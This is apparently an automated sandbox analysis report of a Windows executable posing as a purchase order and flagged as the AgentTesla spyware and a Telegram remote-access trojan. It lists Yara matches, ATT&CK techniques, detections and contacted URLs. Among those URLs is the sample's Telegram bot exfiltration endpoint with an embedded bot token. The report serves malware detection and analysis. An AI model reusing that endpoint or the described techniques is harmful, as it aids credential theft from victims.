Source: Yara match	File source: 0.2.#NEW ORDER FOR JANUARY 2022.exe.4305940.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000003B.00000000.888165359.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.710933564.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.745218195.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000000.788423328.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.744599446.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.710472370.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.931530989.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000000.784941162.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000000.790295907.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.778887336.00000000046B1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.744014270.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.710080019.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000000.817068526.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000000.786765310.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.709643389.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000003B.00000000.890224140.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000003B.00000000.885768767.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.931661414.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.746142761.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.779987071.000000000474D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.842251291.0000000004AED000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.927080316.0000000004715000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000000.845760653.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000003B.00000000.883261997.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000003B.00000002.932852897.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000000.814526101.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000000.843348334.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.886344519.0000000003C5D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000000.847213598.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000000.815839505.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.734261757.000000000428D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000000.818834012.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.911408277.000000000413D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000000.840897044.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000002.931663085.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000002.931619495.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.909583647.00000000040C5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.871462494.00000000038F1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.754034850.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.775543622.00000000043E1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.927142303.000000000478D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0.3.#NEW ORDER FOR JANUARY 2022.exe.4eab090.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.#NEW ORDER FOR JANUARY 2022.exe.4e74670.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000003B.00000002.938179182.0000000002471000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.927387694.00000000049D1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.773583087.0000000004B9C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.755508340.00000000034D1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000002.938786458.0000000003511000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.939713877.0000000002F11000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.829188638.00000000043CE000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.778067403.0000000004B45000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.705890791.0000000004E74000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000002.938600597.0000000002C41000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.937902584.0000000002D61000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: #NEW ORDER FOR JANUARY 2022.exe PID: 6588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_regbrowsers.exe PID: 7068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 4876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 6712, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_regbrowsers.exe PID: 4588, type: MEMORYSTR

Source: Yara match	File source: 0000003B.00000002.938179182.0000000002471000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.755508340.00000000034D1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000002.938786458.0000000003511000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.939713877.0000000002F11000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000002.938600597.0000000002C41000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.937902584.0000000002D61000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aspnet_regbrowsers.exe PID: 7068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_regbrowsers.exe PID: 4588, type: MEMORYSTR

Remote Access Functionality:

Yara detected Telegram RAT

Show sources

Source: Yara match	File source: 0.2.#NEW ORDER FOR JANUARY 2022.exe.4416ba0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.#NEW ORDER FOR JANUARY 2022.exe.4305940.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000003B.00000002.938179182.0000000002471000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.778887336.00000000046B1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.755508340.00000000034D1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000002.938786458.0000000003511000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.939713877.0000000002F11000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.911408277.000000000413D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000002.938600597.0000000002C41000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.937902584.0000000002D61000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.871462494.00000000038F1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.775543622.00000000043E1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.927142303.000000000478D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: #NEW ORDER FOR JANUARY 2022.exe PID: 6588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_regbrowsers.exe PID: 7068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 4876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 6712, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_regbrowsers.exe PID: 4588, type: MEMORYSTR

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 0.2.#NEW ORDER FOR JANUARY 2022.exe.42c5920.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.svchost.exe.470db20.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.aspnet_regbrowsers.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.aspnet_regbrowsers.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.#NEW ORDER FOR JANUARY 2022.exe.42a5900.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.aspnet_regbrowsers.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.svchost.exe.46edb00.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.aspnet_regbrowsers.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.aspnet_regbrowsers.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.aspnet_regbrowsers.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.#NEW ORDER FOR JANUARY 2022.exe.42c5920.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.aspnet_regbrowsers.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.0.aspnet_regbrowsers.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.svchost.exe.4aadb00.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.svchost.exe.4aedb20.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.aspnet_regbrowsers.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.aspnet_regbrowsers.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.aspnet_regbrowsers.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.#NEW ORDER FOR JANUARY 2022.exe.4305940.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.svchost.exe.474db40.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.svchost.exe.4aadb00.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.aspnet_regbrowsers.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.svchost.exe.470db20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.svchost.exe.4aedb20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.svchost.exe.474db40.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.#NEW ORDER FOR JANUARY 2022.exe.4416ba0.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.#NEW ORDER FOR JANUARY 2022.exe.4305940.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000003B.00000000.888165359.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.710933564.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.745218195.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000000.788423328.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.744599446.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.710472370.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.931530989.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000000.784941162.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000000.790295907.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.778887336.00000000046B1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.744014270.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.710080019.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000000.817068526.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000000.786765310.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.709643389.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000003B.00000000.890224140.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000003B.00000000.885768767.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.931661414.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.746142761.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.779987071.000000000474D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.842251291.0000000004AED000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.927080316.0000000004715000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000000.845760653.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000003B.00000000.883261997.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000003B.00000002.932852897.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000000.814526101.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000000.843348334.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.886344519.0000000003C5D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000000.847213598.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000000.815839505.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.734261757.000000000428D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000000.818834012.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.911408277.000000000413D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000000.840897044.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000002.931663085.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000002.931619495.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.909583647.00000000040C5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.871462494.00000000038F1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.754034850.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.775543622.00000000043E1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.927142303.000000000478D000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0.3.#NEW ORDER FOR JANUARY 2022.exe.4eab090.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.#NEW ORDER FOR JANUARY 2022.exe.4e74670.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000003B.00000002.938179182.0000000002471000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000030.00000002.927387694.00000000049D1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.773583087.0000000004B9C000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.755508340.00000000034D1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000002.938786458.0000000003511000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.939713877.0000000002F11000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.829188638.00000000043CE000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000003.778067403.0000000004B45000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.705890791.0000000004E74000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000034.00000002.938600597.0000000002C41000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000002F.00000002.937902584.0000000002D61000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: #NEW ORDER FOR JANUARY 2022.exe PID: 6588, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_regbrowsers.exe PID: 7068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 4876, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 6712, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_regbrowsers.exe PID: 4588, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation211	Create Account1	Process Injection212	Disable or Modify Tools11	OS Credential Dumping	File and Directory Discovery1	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Web Service1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job1	Scheduled Task/Job1	Scheduled Task/Job1	Deobfuscate/Decode Files or Information1	LSASS Memory	System Information Discovery113	Remote Desktop Protocol	Clipboard Data1	Exfiltration Over Bluetooth	Encrypted Channel1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Registry Run Keys / Startup Folder21	Registry Run Keys / Startup Folder21	Obfuscated Files or Information2	Security Account Manager	Query Registry1	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing3	NTDS	Security Software Discovery321	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol1	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Timestomp1	LSA Secrets	Process Discovery2	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Masquerading221	Cached Domain Credentials	Virtualization/Sandbox Evasion141	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Virtualization/Sandbox Evasion141	DCSync	Application Window Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Process Injection212	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Hidden Users1	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
#NEW ORDER FOR JANUARY 2022.exe	19%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\Microsoft.NET\Framework\BABEDAFADDBCFEAAEFCDFCDE\svchost.exe	19%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla

Unpacked PE Files

Source	Detection	Scanner	Label	Download
37.2.aspnet_regbrowsers.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen8	Download File
31.0.aspnet_regbrowsers.exe.400000.4.unpack	100%	Avira	TR/Spy.Gen8	Download File
31.0.aspnet_regbrowsers.exe.400000.1.unpack	100%	Avira	TR/Spy.Gen8	Download File
31.0.aspnet_regbrowsers.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen8	Download File
37.0.aspnet_regbrowsers.exe.400000.2.unpack	100%	Avira	TR/Spy.Gen8	Download File
31.0.aspnet_regbrowsers.exe.400000.2.unpack	100%	Avira	TR/Spy.Gen8	Download File
37.0.aspnet_regbrowsers.exe.400000.3.unpack	100%	Avira	TR/Spy.Gen8	Download File
31.0.aspnet_regbrowsers.exe.400000.3.unpack	100%	Avira	TR/Spy.Gen8	Download File
31.2.aspnet_regbrowsers.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen8	Download File
37.0.aspnet_regbrowsers.exe.400000.1.unpack	100%	Avira	TR/Spy.Gen8	Download File
37.0.aspnet_regbrowsers.exe.400000.4.unpack	100%	Avira	TR/Spy.Gen8	Download File
37.0.aspnet_regbrowsers.exe.400000.0.unpack	100%	Avira	TR/Spy.Gen8	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://127.0.0.1:HTTP/1.1	0%	Avira URL Cloud	safe
https://api.ipify.org%GETMozilla/5.0	0%	URL Reputation	safe
http://DynDns.comDynDNS	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://YsLVkm.com	0%	Avira URL Cloud	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	0%	URL Reputation	safe
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.telegram.org	149.154.167.220	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:HTTP/1.1	aspnet_regbrowsers.exe, 0000001F.00000002.755508340.00000000034D1000.00000004.00000001.sdmp, aspnet_regbrowsers.exe, 00000025.00000002.939713877.0000000002F11000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	low
https://api.ipify.org%GETMozilla/5.0	aspnet_regbrowsers.exe, 00000025.00000002.939713877.0000000002F11000.00000004.00000001.sdmp	false	URL Reputation: safe	low
http://DynDns.comDynDNS	aspnet_regbrowsers.exe, 00000025.00000002.939713877.0000000002F11000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/	#NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.734755598.0000000004305000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot2030557675:AAF2CRvHF_rfT7tYXz9VN8YUb6kF5qxu_xg/sendDocumentdocument-----	aspnet_regbrowsers.exe, 0000001F.00000002.755508340.00000000034D1000.00000004.00000001.sdmp, aspnet_regbrowsers.exe, 00000025.00000002.939713877.0000000002F11000.00000004.00000001.sdmp	false		high
http://YsLVkm.com	aspnet_regbrowsers.exe, 00000025.00000002.939713877.0000000002F11000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%ha	aspnet_regbrowsers.exe, 0000001F.00000002.755508340.00000000034D1000.00000004.00000001.sdmp, aspnet_regbrowsers.exe, 00000025.00000002.939713877.0000000002F11000.00000004.00000001.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	#NEW ORDER FOR JANUARY 2022.exe, 00000000.00000002.723973005.0000000003251000.00000004.00000001.sdmp, svchost.exe, 00000020.00000002.759358172.00000000033E1000.00000004.00000001.sdmp, svchost.exe, 00000024.00000002.804585113.00000000037A1000.00000004.00000001.sdmp	false		high
https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip	svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp, aspnet_regbrowsers.exe, 00000025.00000000.745218195.0000000000402000.00000040.00000001.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot2030557675:AAF2CRvHF_rfT7tYXz9VN8YUb6kF5qxu_xg/	svchost.exe, 00000024.00000002.828856160.00000000047BC000.00000004.00000001.sdmp, aspnet_regbrowsers.exe, 00000025.00000000.745218195.0000000000402000.00000040.00000001.sdmp	false		high

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	553020
Start date:	14.01.2022
Start time:	05:31:36
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	#NEW ORDER FOR JANUARY 2022.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	61
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winEXE@71/19@1/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 0.4% (good quality ratio 0.4%) Quality average: 82.1% Quality standard deviation: 20%
HCA Information:	Successful, ratio: 97% Number of executed functions: 248 Number of non-executed functions: 10
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, WmiPrvSE.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 20.54.110.249, 40.91.112.76 Excluded domains from analysis (whitelisted): displaycatalog-rp-uswest.md.mp.microsoft.com.akadns.net, displaycatalog-rp-europe.md.mp.microsoft.com.akadns.net, s-ring.msedge.net, neu-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, wus2-displaycatalogrp.frontdoor.bigcatalog.commerce.microsoft.com, arc.msn.com, t-ring.msedge.net, ris.api.iris.microsoft.com, consumer-displaycatalogrp-aks2aks-europe.md.mp.microsoft.com.akadns.net, store-images.s-microsoft.com, consumer-displaycatalogrp-aks2aks-uswest.md.mp.microsoft.com.akadns.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, teams-ring.msedge.net, displaycatalog-rp.md.mp.microsoft.com.akadns.net Not all processes where analyzed, report is missing behavior information Report creation exceeded maximum time and may have missing behavior and disassembly information. Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
05:32:32	API Interceptor	309x Sleep call for process: powershell.exe modified
